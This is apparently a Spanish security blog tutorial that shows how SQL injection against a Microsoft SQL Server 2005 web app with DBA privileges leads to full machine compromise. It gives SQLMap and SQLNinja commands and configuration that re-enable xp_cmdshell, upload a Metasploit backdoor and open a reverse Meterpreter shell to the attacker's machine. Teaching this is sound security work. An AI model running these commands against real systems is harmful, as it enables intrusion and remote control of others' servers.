Hay determinadas vulnerabilidades que frecuentemente son menospreciadas, bien porque se considera que por si misma tienen poco impacto sobre los sistemas, o bien porque se considera que la máquina es poco importante.
En el caso de las Inyecciones SQL la gente suele tomárselas en serio, pero existe la sensación de que es una vulnerabilidad que "solo" permite acceder a la información de la base de datos, por lo que si el sistema no contiene información sensible suele ser tratada como una vulnerabilidad poco importante.
Sin embargo, depende del tipo, versión y configuración de la base de datos, es posible obtener control total de una máquina a través de una Inyección SQL, y a partir de ahí utilizar ese acceso para emplear cualquier técnica de post-explotación como puede ser crackeo de contraseñas, relaying, etc.
Concretamente, para este primer post, vamos a utilizar una vulnerabilidad de
Inyección SQL en una aplicación web que utiliza un servidor de base de datos
Microsoft SQL Server 2005, donde el usuario utilizado tiene
privilegios de administrador. Concretamente, vamos a utilizar exactamente el mismo entorno y aplicación web utilizado en
este otro post, aunque vosotros lo podéis utilizar con cualquier otra.
En versiones anteriores de MS SQL Server era posible, aunque el usuario no tuviera privilegios de administrador, realizar un ataque de fuerza bruta contra la contraseña del usuario "sa", y si esta era encontrada se podían lanzar todo tipo de comandos SQL con esos privilegios, pero para este post, por simplicidad, vamos a suponer que el usuario ya dispone de privilegios de administrador.
La explotación de esta vulnerabilidad, por supuesto, podríamos hacerla completamente a mano, lo cual es muy útil con fines didácticos y para entender bien el ataque, pero para este post vamos a usar dos herramientas que realizan todas estas acciones de forma automática:
SQLMap y
SQLNinja.
A modo de explicación de lo que realizan estas herramientas a bajo nivel, realizan los siguientes pasos (los nombres de los ficheros y extensiones no son exactos, pero sirven para que entendemos como funciona):
- Establecemos el tipo de conexión que queremos, shell directa o inversa, puertos, tipo de payload, codificación, etc.
- Se general un binario backdoor.exe (o el nombre que sea) mediante el uso de msfpayload de Metasploit, con las opciones anteriormente definidas.
- Convertimos backdoor.exe (binario) en un fichero de texto auto-extraible backdoor.bat (por ejemplo).
- Subimos el contenido texto de backdoor.bat mediante el uso de xp_cmdshell (básicamente como si hicieramos un echo "blablablabla" >> backdoor.bat hasta que tengamos todo el fichero subido).
- Ejecutamos backdoor.bat para que backdoor.exe sea desplegado en el sistema.
- Lanzamos msfconsole o msfcli con los parámetros adecuados para recibir la conexión (supongamos que elegimos hacer un reverse shell.
- Ejecutamos backdoor.exe, que lanzará la conexión contra nuestro Metasploit, y se iniciará la sesión en el sistema comprometido.
- A divertirse :)
Una vez que sabemos y entendemos como funcionan estas herramientas, podemos pasar a utilizarlas para que nuestra explotación sea más ágil y rápida:
Una vez hemos comprobado que el parámetros es vulnerable, tal y como hacíamos en
este post anterior, comprobaremos a ver si tenemos suerte y el usuario utilizado por la aplicación web es administrador de la base de datos:
# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --is-dba
Teniendo el usuario privilegios de DBA, se nos abre la posibilidad de "entrar hasta la cocina" en esta máquina, ya que con estos privilegios podremos reactivar la función xp_cmdshell, que nos va a permitir la ejecución de comandos en la máquina, incluyendo alguno de los Payloads de Metasploit:
# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --msf-path=/opt/metasploit3/msf3 --os-pwn
Durante el proceso, se nos irán haciendo algunas preguntas para definir mejor la explotación que queremos hacer. Si utilizamos todas las opciones por defecto tendremos una reverse shell con Meterpreter. Unicamente es necesario definir un par de parámetros, el primero es para "autorizar" al SQLMap a activar el procedimiento xp_cmdshell, y el segundo es para definir la IP y Puerto Local, que nos interesa que sea nuestra IP Pública (si salimos por NAT) y el puerto 80, que es el que más fácilmente estará abierto de salida hacia Internet:
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
which is the local address? [172.16.24.150] 172.16.24.150
which local port number do you want to use? [12251] 80
Una vez elegidas todas las opciones, SQLMap utiliza el msfpayload de Metasploit para generar un binario, en este caso un Meterpreter, que será codificado en modo texto para ser subido al servidor, a través de la Inyección SQL existente:
Cuando acabe de subirlo, lanzará tanto Metasploit con el Handler adecuado, como el binario generado dentro del servidor de base de datos, con lo que se establecerá la sesión de Meterpreter en el sistema que contiene la base de datos:
Como podemos ver, tenemos el Meterpreter ejecutándose con los privilegios del usuario "Servicio de red", que no dispone de los privilegios suficientes como para hacer un Dump de los Hashes del sistema, pero que nos da un primer punto de entrada en el sistema para luego elevar privilegios de alguna forma y poder tomar control total del sistema.
¡Hasta la cocina!
(con SQLMap)
SQLNinja es otra de las herramientas que podemos usar para hacer este tipo de ataques. Al contrario de lo que sucede en SQLMap, en SQLNinja deberemos definir algunos de los parámetros del ataque en un fichero de configuración llamado sqlninja.conf, que se encuentra en el mismo directorio de la herramienta. En el caso que nos ocupa, deberemos cambiar los siguientes parámetros del fichero para configurar nuestro host objetivo, y dejar el resto de parámetros tal como están:
host = 172.16.24.151
port = 80
method = GET
page = /default.asp
stringstart = id=1;
stringend =
lhost = 172.16.24.150
msfpath = /opt/metasploit3/msf3/
Ahora solo tenemos que lanzar SQLNinja con la opción -m test para comprobar si detecta correctamente la inyección:
# ./sqlninja -m test
Podríamos ahora utilizar SQLNinja para sacar toda la información de la base de datos tal y como hemos hecho con SQLMap en otras ocasiones, pero esta vez vamos a lo que vamos, y el objetivo es conseguir el control de la máquina, así que vamos directamente a ello. Lo primero de todo es ver si xp_cmdshell se encuentra disponible:
# ./sqlninja -m fingerprint
Lo tenemos desactivado, pero vemos que tenemos privilegios de administrador de la base de datos, así que como ocurría en SQLMap, vamos a poder re-activarlo, de la siguiente forma:
# ./sqlninja -m resurrectxp
Ahora que ya tenemos el xp_cmdshell activado, ya podemos generar el payload Meterpreter igual que hacíamos antes:
# ./sqlninja -m metasploit
SQLNinja sube el payload de Metasploit a la máquina comprometida y posteriormente lo ejecuta con xp_cmdshell, y lanza de forma automática el Metasploit para recibir esta conexión:
A partir de aquí ya tenemos el Meterpreter ejecutándose en la máquina, al igual que teníamos con SQLMap, así que ya solo tenemos que elevar privilegios de la misma forma de antes (si podemos) para obtener el control total de la máquina.
¡Hasta la cocina!
(con SQLNinja)
Por supuesto, podríamos utilizar cualquier otra herramienta que hiciera algo parecido a lo que acabamos de ver, o incluso codear algo parecido o hacerlo a mano si nuestro escenario de explotación es muy particular y las herramientas disponibles no funcionan, pero el proceso sería más o menos el mismo.
.png "English"){kind=small}
Entradas
